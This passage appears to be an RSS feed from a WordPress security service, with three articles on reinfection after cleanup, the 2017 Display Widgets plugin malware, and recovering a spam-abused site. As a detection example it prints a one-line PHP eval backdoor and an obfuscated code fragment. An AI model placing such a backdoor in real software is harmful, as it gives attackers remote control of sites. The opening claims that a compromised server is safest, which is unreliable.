such as a VPS, AWS, or dedicated server, it is possible, but rare, that a hacker could issue commands via PHP to manipulate the server itself and take root or near-root privileges to the entire server. In this case, the safest course of action would be to use a server that has been compromised. In this case, the safest way would be to reinstall the server itself, but since VPS, AWS, and dedicated servers require consideration of the security of the server itself, we recommend that you use a shared server since WordPress is designed to operate well on shared servers.

					<description><![CDATA[If you have gone to the trouble of removing viruses and tampering from your WordPress site, but are immediately reinfected (tampering due to hijacking), here are the causes and remedies. 0 Reasons why you are immediately reinfected even after disinfection of viruses and malware After a hacker tampering with WordPress, you may be reinfected immediately after examining your files and cleaning up the files notified by the server company to get rid of the tampering. There are four main reasons for this. 1 The site has been hijacked, allowing hackers to log in as administrators 2 The site is still vulnerable. 3 A backdoor has not been removed to allow the hacker to deface the site. 4 Another WordPress site on the server is infected, and other sites are being defaced via that WordPress site. We will introduce measures to prevent reinfection for these reasons as much as possible. 1 Change the password of the user with administrative privileges If a hacker has already obtained your password and has access to the WordPress administration screen, he or she can easily tamper with your files from the administration screen. If you have had WordPress tampering removed, change the passwords of all users with administrative privileges. If possible, we recommend that you use a strong password that is automatically generated by WordPress. 2. Set the folder and file write permissions to disabled. Since hackers can remotely tamper with files, it is quite effective to connect to the server with FTP software and make everything except the wp-content/uploads folder (the folder where images and other files are uploaded) un-writable. Using software such as FileZilla, uncheck write permissions and change permissions on folders and files. 3 Let&#8217;s detect backdoors A backdoor is a back door that allows a hacker to easily rewrite a site&#8217;s program. While harmless in themselves, backdoors are very dangerous to leave behind because they can generate tampering files on a site in any way they choose. For example, the following code is a backdoor eval($_POST["mycode"]); In many cases, hackers obfuscate and hide the code to prevent this backdoor from being discovered. Example of obfuscated code ${"G\x4cO\x42\x41L\x53"}["\x64\x7aa\x77h\x78\x78\x5f\x5f\x5f\x6c_\x62y\x62t\x63o\x68h\x6dx\x67y\x64\x62\x65q\x61q"] Backdoors can be detected for free with the WordPress Doctor Malware Scanner. We hope you will use it. 4 Update your vulnerable plugins and themes! Vulnerabilities in the program&#8217;s code may allow hackers to send code to your server to assist them in defacing your site or other activities similar to the backdoor mentioned above. The easiest way to eliminate vulnerabilities would be to update WordPress itself, themes, and plugins to the latest versions. You can use the WordPress Doctor security scanner to check for vulnerabilities in the plugins and themes on your site, and we recommend that you update your plugins and themes immediately if there are any high-risk vulnerabilities.

A list of tens of thousands of passwords is used to find the passwords [&#8230;]]]></description>

					<description><![CDATA[Display Widgets is a well-known plugin used by over 200,000 sites, but it has recently been removed from the official plugin directory because it was deemed to contain malware. In this issue, we will explain the problem and how to deal with it. How the malware distribution by Display Widgets happened In mid-June 2017, Display Widgets was sold by the author to another company for the rights to the plugin, which was then controlled by a user calling himself displaywidget. That same month, David Law posts on the Forum that he suspects the plugin is collecting and transmitting large amounts of server information, including IP addresses, to external parties, and the plugin&#8217;s code is suddenly removed from repositories (code sharing sites). In late June 2017, Display Widgets version 2.6.1 was released with a version containing malware called geolocation.php (code that can tamper with sites), but no one noticed this for a while, and users updating A number of users updated their sites, and a large number of sites were affected by the defacement. In late July 2017 wordpress.org stops publishing the official directory of plugins. What should I do if I have Display Widgets installed? Currently Display Widgets has been removed from the official directory and cannot be updated. If you are using Display Widgets version 2.6.1 to 2.6.9, it is very dangerous. Download a clean version of Display Widgets here After downloading the file, unzip it, use FTP software to delete the display-widget folder in the wp-contents/plugins folder of your current site, upload the unzipped file, and replace it.]]></description>

					<description><![CDATA[WordPress is a CMS that is widely used around the world, and as a result, it can become a spam springboard or fall victim to tampering. There are various causes for this, such as not updating old WordPress, not updating plug-ins, and weak passwords, but here we would like to briefly introduce some of the measures we take when a site is a stepping stone for spam. Check for malware infection WordPress is currently being used as a stepping stone for secondary damage by malware (programs created with the intent to perform illegal and harmful actions) that is embedded in the WordPress code and remotely redirected to other sites, links to a large number of other sites, banners, and so on. This method is used as a stepping stone for secondary damage. Sucuri SiteCheck can check for the presence of this malware. Enter the URL of the site you want to check and click &#8220;Scan Website&#8221;. The results of the scan will be displayed. Back up the site and make it work in the local environment If your site is infected, first make backups of both the WordPress files and the database. The entire site can be backed up using FTP software, and the database can be backed up using phpMyadmin or a WordPress plugin. Also, to make sure the site works in your local environment, move the site to an environment where apache, mysql, and PHP are installed and working. Clean installation of WordPress and plug-ins Download the WordPress main unit from the official site and replace everything except the wp-content folder of the infected site. (Move only wp-content/upload and wp-content/theme to a completely new set of WordPress files, as tampered files may have been generated.) Also, download all installed plugins for the infected site again and put them in the wp-content/plugin folder Scan the theme and upload folders for tampering Now the only folders that may be infected are the theme folder and the upload folder. The most reliable way to detect theme tampering is to re-download the current theme and detect the differences between the theme files and those of the infected site. WordPress Doctor uses a tool to detect differences in theme files. *Example of tampering found In addition, visually check the upload folder for all files except for images and pdf files, and delete any strange files. Install security plug-ins and set appropriate permissions Finally, install security plug-ins and set appropriate permissions on the WordPress folders to prevent them from being rewritten. We recommend the following security plug-ins All In One WP Security &#38; Firewall However, since the settings are diverse and difficult, the following plug-ins are also recommended if you wish to do it yourself. SiteGuard Finally, once you have verified that WordPress is working in your local environment, you can move it to the production environment!]]></description>
